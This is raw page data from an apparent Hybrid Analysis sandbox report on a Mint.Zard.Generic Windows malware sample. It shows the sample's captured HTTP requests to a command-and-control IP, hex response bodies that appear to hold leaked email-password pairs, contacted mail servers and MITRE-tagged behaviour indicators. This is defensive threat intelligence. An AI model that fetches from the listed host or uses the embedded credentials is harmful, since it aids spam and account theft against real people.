24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 3a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample 98af9f49fff9… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 98af9f49fff9…. Malware family: Mint.Zard.Generic. Threat score 100/100. 18/27 AV engines flagged this file. 5 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/98af9f49fff912e959882946716b4cc9dd6ece9a57e836427ea4810d0cd3fb0e","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","98af9f49fff912e959882946716b4cc9dd6ece9a57e836427ea4810d0cd3fb0e"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"98af9f49fff912e959882946716b4cc9dd6ece9a57e836427ea4810d0cd3fb0e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":18,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T980," HTTP/1.1 200 OK Date: Fri 01 May 2026 10:45:06 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=uZc903SoSrNCEibb.SwwlyLpznxoTpyRZ63shI7ng3U-1777632306.7967563-1.0.1.1-tR_cXjgL5W4jd8Q7XQeXMtOaKFusmEJ9FvYPHYaXWp4ZKLfLvFeSv3QgiJTsBTObgXzwfAp_vk87Y4.mEUxyWMWQkmZshvzENjyRZJ87J_G_HYRUbX.m2UEOuCEWnpV2; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri 01 May 2026 11:15:06 GMT Server: cloudflare CF-RAY: 9f4e31dd7cc96e82-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /2/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 01 May 2026 10:45:07 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:25:01 GMT Connection: keep-alive ETag: "69e49f6d-6" Accept-Ranges: bytes with response body ==>35393730340A....... "GET /2/665.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 01 May 2026 10:45:08 GMT Content-Type: text/plain Content-Length: 258237 Last-Modified: Sun 19 Apr 2026 08:25:15 GMT Connection: keep-alive ETag: "69e4916b-3f0bd" Accept-Ranges: bytes with response body ==>64653A636F6F7065723938300A696E73616E6F2E646C6C406C6976652E636F6D3A7669746F7269616A740A7777716B363039403136332E636F6D3A6161383833.......2b:T725,"mx01.mail.icloud.com" Heuristic match: "j163mx01.mxmail.netease.com" Heuristic match: ":y:custmx.cscdns.net" Heuristic match: "ibmx01.windstream.net" Heuristic match: "ssmtp-in2.orange.fr" Heuristic match: "`jmta5.am0.yahoodns.net" Heuristic match: "`lmta6.am0.yahoodns.net" Heuristic match: "`jmta7.am0.yahoodns.net" Heuristic match: "ahoodns.net" Heuristic match: "eb.cn" Heuristic match: "il.netease.com" Heuristic match: "`q(shw-central.mx.a.cloudfilter.net" Heuristic match: "sn-com.olc.protection.outlook.com" Heuristic match: "x1.free.fr" Heuristic match: "oodns.net" Heuristic match: "supdate.com.degs-win1.comcast.net" Heuristic match: "t.net" Heuristic match: "xin10.virginmedia.com" Heuristic match: "w-mta.cniteam.com" Heuristic match: "x1a1.comcast.net" Heuristic match: "ahoo.com" Heuristic match: "x01.windstream.net" Heuristic match: "mtp-in2.orange.fr" Heuristic match: "x2c1.comcast.net" Heuristic match: "26mx02.mxmail.netease.com" Heuristic match: "lueyonder.co.uk" Heuristic match: "rivers.net" Heuristic match: "ail.net" Heuristic match: "163mx01.mx" Heuristic match: "on.ca" Heuristic match: "-ha02.web.de" Heuristic match: "x.altice.prod.cloud.openwave.ai" Heuristic match: "hw-central.mx.a.cloudfilter.net" Heuristic match: "ntispamawn.thaicloudsolutions.com" Heuristic match: "on.outlook.com" Heuristic match: "oud.com" Heuristic match: "erithus-com-br.mail.protection.outlook.com" Heuristic match: "x5.wp.pl" Heuristic match: "anadoo.fr" Heuristic match: "anmiguel-com-ph.mail.protection.outlook.com" Heuristic match: "x-rogers.mail.am0.yahoodns.net" Heuristic match: "lt3.aspmx.l.google.com" Heuristic match: "alt3.aspmx.l.google.co" Heuristic match: "1.aspmx.l.google.com" Heuristic match: "msn.com" Heuristic match: "l.net" Heuristic match: "mx3.hanmail.net" Heuristic match: "anmail.net" Heuristic match: "nager.net" Heuristic match: "atst.net" Heuristic match: "er.co.uk" Heuristic match: "163mx02.mxmail.netease.com" Heuristic match: "ap.fastly.net" Heuristic match: "x-aliant.bell.net" Heuristic match: "ail.wabblywabble.com" Heuristic match: "x.centurylink.net" Heuristic match: "jmx-rogers.mail.am0.yahoodns.net" Heuristic match: ".yahoo.co.jp" Heuristic match: "mx3.naver.com" Heuristic match: "mx2.naver.com" Heuristic match: ";shw-central.mx.a.cloudfilter.net" Heuristic match: "3mx.centurylink.net" Heuristic match: ",]v ckm.yahoodns.ne" Heuristic match: "j126mx02.mxmail.netease.com" Heuristic match: "!dmx.cogeco.ca" Heuristic match: "dmx1.naver.com" Heuristic match: "thaicloudsolutions.com" Heuristic match: "b2mx.bbox.fr" Heuristic match: "omta5.am0.yahoodns.net" Heuristic match: "mx-aliant.bell.net" Heuristic match: "msvoqsmoqss.ms" Heuristic match: "x2.mxge.comcast.net" Heuristic match: "x.cogeco.ca" Heuristic match: "x0.charter.net" Heuristic match: "163mx03.mxmail.netease.com" Heuristic match: "1.comcast.net" Heuristic match: "inchng02.tcs.com" Heuristic match: "usnjyg01.tcs.com" Heuristic match: "inchng05.tcs.com" Heuristic match: "inblrg04.tcs.com" Heuristic match: "inblrg05.tcs.com" Heuristic match: "inmumg01.tcs.com" Heuristic match: "inmumg04.tcs.com" Heuristic match: "uklong01.tcs.com" Heuristic match: "outlook.com" Heuristic match: "x1.mxge.comcast.net" Heuristic match: "x02.p.bluenet.ch" Heuristic match: "sv.softbank.jp" Heuristic match: "lt2.aspmx.l.google.com" Heuristic match: "x002.tt.xion.oxcs.net" Heuristic match: "niversitadipavia.it" Heuristic match: "harter.net" Heuristic match: "x03.t-online.de" Heuristic match: "x.bt.prod.cloud.openwave.ai" Heuristic match: "x1h1.comcast.net" Heuristic match: "x2h1.comcast.net" Heuristic match: "x6.mail.naver.com" Heuristic match: "x1c1.comcast.net" Heuristic match: "x4.mail.naver.com" Heuristic match: "ardellarmstrong-com01i.mail.protection.outlook.com" Heuristic match: "x1c11.megamailservers.com" Heuristic match: "x3c11.megamailservers.com" Heuristic match: "x2.naver.com" Heuristic match: "x3.naver.com" Heuristic match: "x.freenet.de" Heuristic match: "ud.com" Heuristic match: "x-ttc.eco-mx.cz" Heuristic match: "supdate.com" Heuristic match: "loudapp.azure.com" Heuristic match: "loud.com" Heuristic match: "b163mx01.mxmail.netease.com" Heuristic match: "ction.outlook.com" Heuristic match: "mail.pro" Heuristic match: "hu. hmsv.softbank.jp" Heuristic match: "!mx01.mail.icloud.com" Heuristic match: "pmx-aol.mail.gm0.yahoodns.net" Heuristic match: ",%mx.dca.untd.com" Heuristic match: "mx001.tt.xion.oxcs.net" Heuristic match: "imta7.am0.yahoodns.net" Heuristic match: "mx-ttc.eco-mx.cz"33:T811,Found URL "http://130.12.180.190/2/n.txt130.12.180.190/2/n.txtpmapperummy://urlbout:blankpmapperpmapper-online.debout:blankpmapper2/n.txt2/665.txtt-online.deweb.demx-ha02.web.decl-glcb907925.n.oxcs.netmx002.tt.xion.oxcs.nettalktalk.netmx004.tt.xion.oxcs.net9sspaw46http://130.12.180.190/2/665.txthttp://130.12.180.190/2/665.txtc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\665[1].txtom.olc.protection.outloolive-com.olc.protection.outlook.commx-ha02.web.de:\users\hapubws\appdata\local\130.12.180.190com/ttp://icanhazip.com/rpc-e60aaa2cc00333b802ntexception:rpc-e60aaa2cc00333b802miesitelist:mieuserlist:mieuserlistbwsletoedgelist:rpc-e60aaa2cc00333b802rpc-e60aaa2cc00333b802miesitelistfielttp://icanhazip.com/etoedgelist\prlntexceptionbwslapubws\appdata\local\tem:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\ata\local\microsoft\windows\history\historyc:\users\hapubws\appdata\local\microsoft\windows\historyhistory.ie5dowsllusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007008.00000001.228719.03140000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007008.00000002.230637.03140000.00000004.mdmp") Found URL "http://icanhazip.com/[%s][0.0.0.0][0.0.0.0]%s.comesmtpehlo" - Source: "00000000-00007008.00000003.236143.00A54000.00000002.mdmp") Found URL "http://binance.com" - Source: "00000000-00007008.00000003.236143.00A54000.00000002.mdmp") Found URL "http://bitrefill.com" - Source: "00000000-00007008.00000003.236143.00A54000.00000002.mdmp") Found URL "http://crypto.com" - Source: "00000000-00007008.00000003.236143.00A54000.00000002.mdmp") Found URL "http://kucoin.com" - Source: "00000000-00007008.00000003.236143.00A54000.00000002.mdmp")34:T5cd,Contacted domain: "126mx02.mxmail.netease.com" has high entropy Contacted domain: "163mx01.mxmail.netease.com" has high entropy Contacted domain: "2019102901.pamx1.hotmail.com" has high entropy Contacted domain: "ALT2.ASPMX.L.GOOGLE.COM" has high entropy Contacted domain: "_dc-mx.b2c82c8a4ea4.mail.com.vc" has high entropy Contacted domain: "alt1.aspmx.l.google.com" has high entropy Contacted domain: "alt3.aspmx.l.google.com" has high entropy Contacted domain: "alt4.aspmx.l.google.com" has high entropy Contacted domain: "bigpond.net.au" has high entropy Contacted domain: "blueyonder.co.uk" has high entropy Contacted domain: "buckeye-express.com" has high entropy Contacted domain: "club-internet.fr" has high entropy Contacted domain: "extmail.bigpond.com" has high entropy Contacted domain: "extmail.bpbb.bigpond.com" has high entropy Contacted domain: "eyr-abogados.com" has high entropy Contacted domain: "i.softbank.jp" has high entropy Contacted domain: "inblrg03.tcs.com" has high entropy Contacted domain: "jonas-prause.de" has high entropy Contacted domain: "leigh-wilkins.com" has high entropy Contacted domain: "mitchellsitedevelopment.com" has high entropy Contacted domain: "msv.softbank.jp" has high entropy Contacted domain: "mta5.am0.yahoodns.net" has high entropy Contacted domain: "mta6.am0.yahoodns.net" has high entropy Contacted domain: "mta7.am0.yahoodns.net" has high entropy Contacted domain: "musclestrong.com.br" has high entropy35:Tac3,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp")36:T95f,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69f48414562859728d0771eb"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$25","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69f48414562859728d0771eb"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00007008.00000000.226796.03140000.00000004.mdmp, 00000000-00007008.00000001.228719.03140000.00000004.mdmp, 00000000-00007008.00000002.230637.03140000.00000004.mdmp, 00000000-00007008.00000003.236143.03140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69f48414562859728d0771eb"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69f48414562859728d0771eb"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"